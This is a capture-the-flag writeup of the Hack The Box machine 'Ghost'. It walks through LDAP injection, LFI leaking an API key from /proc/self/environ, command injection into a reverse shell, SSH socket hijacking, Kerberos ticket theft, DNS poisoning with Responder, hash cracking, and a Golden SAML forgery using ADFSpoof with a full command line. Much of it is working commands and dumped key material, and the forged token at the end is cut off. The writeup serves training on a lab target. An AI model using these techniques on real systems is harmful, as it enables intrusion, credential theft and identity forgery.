Skip to main content
  1. Posts/

"Ghost" by Hack The Box - An Insane Windows Box Writeup

·2918 words·14 mins
Lacroix Raphaël (Chepycou)
Author
Lacroix Raphaël (Chepycou)
I’m Raphaël LACROIX, a French computer scientist developping various applications in my free time ranging from definitely useless to somewhat usefull. I also do quite a lot of Capture the flag and cybersecurity challenges.
Table of Contents

User Flag
#

spooky ghost sounds

First enumeration
#

Let’s start with enumeration, I usually do

nmap -A 10.10.11.24 -oA scans/first_scan -vvv
sleep 1000; nmap -A -p- 10.10.11.24 -oA scans/full_scan -vvv

First thoughts :

  • It is a Windows with the usual DC ports open (DNS, Kerberos, LDAP, NetBIOS…) with the ghost.htb domain
  • It has an open MSSQL port
  • It also has a remote WinRM administration port open & an RDP port open
  • Port 80 and port 443 do not seem to be very interesting
  • But ports 8008 and 8443 seem interesting
    • 8008 a ghost web app (a wordpress-like CMS)
    • 8443 a login screen using the ghost.htb domain

We add the ghost.htb domain in our /etc/hosts then :

10.10.11.24 ghost.htb

Running a quick Feroxbuster we see that there are a lot of valid file paths including :

  • http://ghost.htb:8008/ghost/#/signin
  • We also see that one user is named kathryn

On the HTTPS port we get a redirection to https://federation.ghost.htb/adfs/ls/?SAMLRequest=...

We turn to the DNS :

  • No zone transfer to be used
  • But federation seems to be pointing to the same machine so let’s add that in the /etc/hosts :

  • Enumerating subdomains using DNS :
dnsenum --dnsserver 10.10.11.24 --enum -p 0 -s 0 -o scans/dns_enumeration.txt -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt ghost.htb

We can see that of those the intranet and os subdomains are used as vhosts :

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.24:8008 -H 'Host: FUZZ.ghost.htb' -ac

Web recon
#

We now have access to the “federation” login page (on port 443 with HTTP Strict Transport Security) :

Testing the login scheme really quick since it looks like a Microsoft login scheme :

  • No obvious SQL injection
  • Let us try LDAP injections since it’s linked to the AD, no luck either Switching to the Intranet/os pages :
  • The os.ghost.htb links to the 404 page for ghost.htb
  • The intranet.ghost.htb prompts us to login

LDAP bypass & intranet recon
#

Since this is obviously using LDAP (as can be seen with the name of the post variables) we try out the same basic LDAP injections as before and get a hit with the LDAP injection :

User : *, Password *

  • Now we can get that :
    • The username of kathryn probably is kathryn.holland, perhaps a valid account on the AD
    • There is a Bitbucket instance at bitbucket.ghost.htb and there used to be a Gitea instance, interesting !
    • People here seem very underpaid :) :
    • The other usernames are as follows :
Username Full Name Member of
kathryn.holland Kathryn Holland sysadmin
cassandra.shelton Cassandra Shelton sysadmin
robert.steeves Robert Steeves sysadmin
florence.ramirez Florence Ramirez IT
justin.bradley Justin Bradley IT, Remote Management Users
arthur.boyd Arthur Boyd IT
beth.clark Beth Clark HR
charles.gray Charles Gray HR
jason.taylor Jason Taylor HR
intranet_principal Intranet Principal principal
gitea_temp_principal Gitea_Temp Principal principal

LDAP injection password bruteforce to get the Gitea password
#

We see that Bitbucket does not seem to be up yet but Gitea is still there, and we know one login is gitea_temp_principal and the password in its description. So we need to get it using an LDAP injection to validate each character one by one :

  • Put the following in a wordlist (LDAP is case insensitive so no need for uppercase):
    for i in range(10):
    		print(i)
    for i in string.ascii_lowercase:
    		print(i)
    
  • use the burp intruder feature :
  • We get an 303 (so a hit) on the s:
  • We keep on doing this until we get : szrr8kpc3z6onlqf. A tool for automated attack that could have used would be ldapBrute

Gitea exploit : LFI to disclose Environment variables
#

Now that we have access to the Gitea we get that :

  • there are interactions between the intranet and the CMS (ghost) using the API key DEV_INTRANET_KEY, stored as an environment variable.
  • There is an API with the following public key : a5af628828958c976a3b6cc81a
  • There is some code added to the Gitea instance (very fishy, you usually do in CTFs that to introduce a vulnerability) :
    • Let us take a look at the code :
    • This looks like an LFI
    • We try to get a well-known file :
    curl -H "Accept-Version: v5.0" "http://10.10.11.24:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../../../../etc/passwd" | jq
    	```
    

Since we know the API key is in the environment variables we need to include proc/<pid>/environ but as the PID is unknown we use the /proc/self which is a symbolic link to the directory of the current PID.

We then get the key which is !@yqr!X2kxmQ.@Xe

API abuse : getting a reverse shell
#

Let us now focus on the intranet API at http://intranet.ghost.htb/api-dev The only file mentioning X-DEV-INTRANET-KEY is http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs, and it seems to be used as we see the “new” API endpoint that may be interesting to us :

This is a post request on the /scan endpoint :

Looks like a potential injection :

we try a basic command :

Let us now try command injection

Nice let’s get a reverse shell (I recommend using rlwrap)

SSH ControlMaster exploit
#

Once on the machine it looks like we are the root of a docker container running the intranet. Nothing seems useful, apart from this startup file in / :

We now see that there is an SSH multiplexing socket which is good new for us 😁 And we know that this quality of life improvement can also lead to session hijack. Controlpersist specifies the time the master connection should remain open in the background, waiting for a future connection. In our case the yes the user remains connected indefinitely.

Okay, so to use this, now we need to upgrade to a full shell. I always forget I’m not in a real shell with rlwrap, that’s saying how good it is ! We do so by running :

python3 -c 'import pty; pty.spawn("/bin/bash")'

then on the machine

Ctrl+Z
stty raw -echo
fg
[Enter]
[Enter]

Exfiltrating a ticket
#

We find a docker startup script adapted from https://github.com/fjudith/docker-samba-join-ad and start hunting for interesting AD-related things :

Interesting let’s bring it back to our machine by running

cat /tmp/krb5cc_50 | base64 -w 0
echo -n "..." | base64 -d > ticket

We check the ticket is valid :

And see if it can get us somewhere :

Poisoning DNS record to get justin
#

Now that we have a user we can take the opportunity to poison the DNS records since one user on the blog seems to be periodically requesting an entry that does not -yet- exist :

We need to point the records for the bitbucket subdomain to our machine :

python dnstool.py -u "GHOST.HTB\florence.ramirez" -k -a add -r bitbucket.ghost.htb -d 10.10.16.64 dc01.ghost.htb -dns-ip 10.10.11.24 -t A

We run a responder and get an immediate hit :

sudo responder -w -v -I tun0

We crack it with hashcat :

hashcat loots/AD/justin.bradley.hashes /usr/share/wordlists/rockyou.txt

Yeah, HTB box makers really love keyboard walks 😂

We run a bloodhound :

bloodhound-python -u 'justin.bradley' -p 'Qwertyuiop1234$$' -dc ghost.htb -ns 10.10.11.24 -d ghost.htb -c all --zip

Justin seems to be a remote management user 🥳

And here we get the first flag :)

Second flag
#

Trying to leverage justin’s rights
#

Okay so this user also has a first degree outbound control :

We can leverage this using NXC’s built in gmsa dumping

Exploiting the GMSA account to forge a Golden SAML
#

We can winRM and access the folders we could not before 🥳 We can also see that we’re not the first to come here 😂

Nothing of interest with this user, but now we have access to a federation service account. Let’s look into what ADFS is :

Active Directory Federation Service (AD FS) enables Federated Identity and Access Management by securely sharing digital identity and entitlements rights across security and enterprise boundaries. AD FS extends the ability to use single sign-on functionality that is available within a single security or enterprise boundary to Internet-facing applications to enable customers, partners, and suppliers a streamlined user experience while accessing the web-based applications of an organization.

Well “federation” stuff, that reminds us of one of the first subdomains we saw : federation.ghost.htb, let’s try that one with justin.bradley@ghost.htb and his password. We get a redirection to https://core.ghost.htb:8443/adfs/saml/postResponse. We see here the other AD domain that we also saw on bloodhound. Since these are 1-machine boxes let’s try adding core.ghost.htb in the /etc/hosts.

Great ! Now we just need to get an Administrator account 😁

Since we have access to the adfs account let’s search for any attack that may be linked to it. I found this page which talks in quite a few details about the Golden SAML attack (I’m more of a silver type of guy, but that’s life)

We start by executing the ADFSdump binary from the evilWinRM console and get the following output :

## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...

## Reading Relying Party Trust Information from Database
[-] core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


Access Policy Parameter:

Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

We got the PFX and Private Key and can process them :

  • Process the pfx
    echo AAAAAQAAAAAEE[...]EUSTXxm | base64 -d > loots/adfs_gmsa/EncryptedPfx.bin
    
  • Process the key (we need to take the second key of the above output)
    echo "8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1" | tr -d "-"|xxd -r -p > loots/adfs_gmsa/dkmKey.bin
    
    • For this one there are 2 keys. It worked with the second one for me

We then install ADFSpoof. This part was a rocky one for me because neither python 3.13 nor 3.12 would work with regard to dependencies. I thus used uv to create a venv but with a specific python version :

git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof
uv venv --python 3.11 # install uv with `curl -LsSf https://astral.sh/uv/install.sh | sh`
source .venv/bin/activate
uv pip install -r requirements.txt

Now let’s use it with the following arguments :

  • -b The two blobs EncryptedPfx.bin and dkmKey.bin
  • -s The server’s FQDN. At first I thought it was the federation.ghost.htb to which we are redirected but it is actually the core.ghost.htb
  • --endpoint This is the endpoint on which we aim to use security token. We can see it by looking at the requests :
    • Here we can see that the federation page redirects to a /adfs/saml/postResponse endpoint which then after leads us to a forbidden because Justin is not admin enough.
  • --nameidFormat is the format we used to log in. Here is a page documenting that : https://docs.identityserver.com/saml2p/config-idp/configuring-nameId/
    • I used transient and thus reflected this on the nameid parameter. But as we logged in with the email I guess it should work with format:emailAddress and the nameid as Adminsitrator@...
  • --nameid is in our case the User Principal Name of the user (i.e. DOMAIN\User)
  • --rpidentifier From what I understood this is the URL of the service also but it may be more complicated than that
  • Assertions
    • This data is taken from the /postResponse request when decoding the base64 response and swapping the justin with Administrator
    • The claims/upn contains the User Principal Name and the claims/CommonName contains the exact name
python ADFSpoof.py -b ~/Documents/HTB/Boxes/Ghost/loots/adfs_gmsa/EncryptedPfx.bin ~/Documents/HTB/Boxes/Ghost/loots/adfs_gmsa/dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST.HTB\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

We replay the login request with the forged token in order to get a session cookie :

  • Token :
    PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfSlRFUzI5IiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wNC0wNFQyMToyNToyNS4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfODIyVFAxIiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDQtMDRUMjE6MjU6MjUuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9mZWRlcmF0aW9uLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjXzgyMlRQMSI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjk0RE1XSC9vUDhHOWdYNDk0OWFMUTBtVFJZbG12cW9zanM5bGIxdTFCSGc9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPmQwT291VUpiMERneTdtNGJ4emR4NXd3VUp5MWJVSUtPVUlSN3pQSUxieHI4eTAydlRYcjV2R2xWTGtVbm80SDNPdE1VOERtUmx1TWpQODRYVTUzMEdxTzRaa20xVWVzdXdGUzFDR0hFVU1jeC9ZVEJSQk9VWnpyeFBsZnd2c3hrMnFOWTU3SXdrQUNnb2xOYVNqWk03d25TWlZGRFBjNWpwelFURG5pN1pkNGpXU29xN29VeVdyOU8vY0tjNlR5U2hRYWdDbjZtMGF2QlJURUdBa1JRQWxsUDd1OU5CWXNwRjVjcHFQZjEvNXlYQU9TeGVtOFlWdEdoTTFHdTJQTkd3KzRuTWV5MmZIR0Fhd0RRYVlJM1RkNzBvMnVJRitReENlcVlxT1k3ZGNtdG1EajNxbVZVZ0pUU1VmTlJ3eEo1aWE3MjNTZG9OOEYvSlJMblRPRmFmVmJwNTRUTWxLVE5lcnpKL2U1bUxwbVBzZm1JWFJoZG05cTlKN1F3SUNRTEpsZUVnRkVVeGhuOHBIYWVLams1Z094VUZKVzdQQS9ESDlwR25OSkZLU3ltb1hBQytXeXNheTNKQ2tvNjhBaGUvVjE5U09ZL0xscGI1VldndlYwR2hHUjV6YTVQbTVSU05uZGRzczczdTVSS2VaRlZuS21GK3dCeDdXR0MwWEEzWHlSUkxUeFdYem13cVR4dXFHenVDa2NrRXgzaXNwcEFkSHc3azB1NjFOQnJxUC9CZnprTUx3WktBdnNGTHlTek1jZTBkM2dXbHhZWkNzUjBGcnJpcDBVQ3FES2tFbjUybWtWNWpKZitOZzJ4OGpuYUZlVUROWVJvT2Rrb0g1dFVPeUlsV0RIcnppZUU2cU9rWk5IZnlmQmExUk5HZFBvUENSZHZaN04wSDB3PTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2J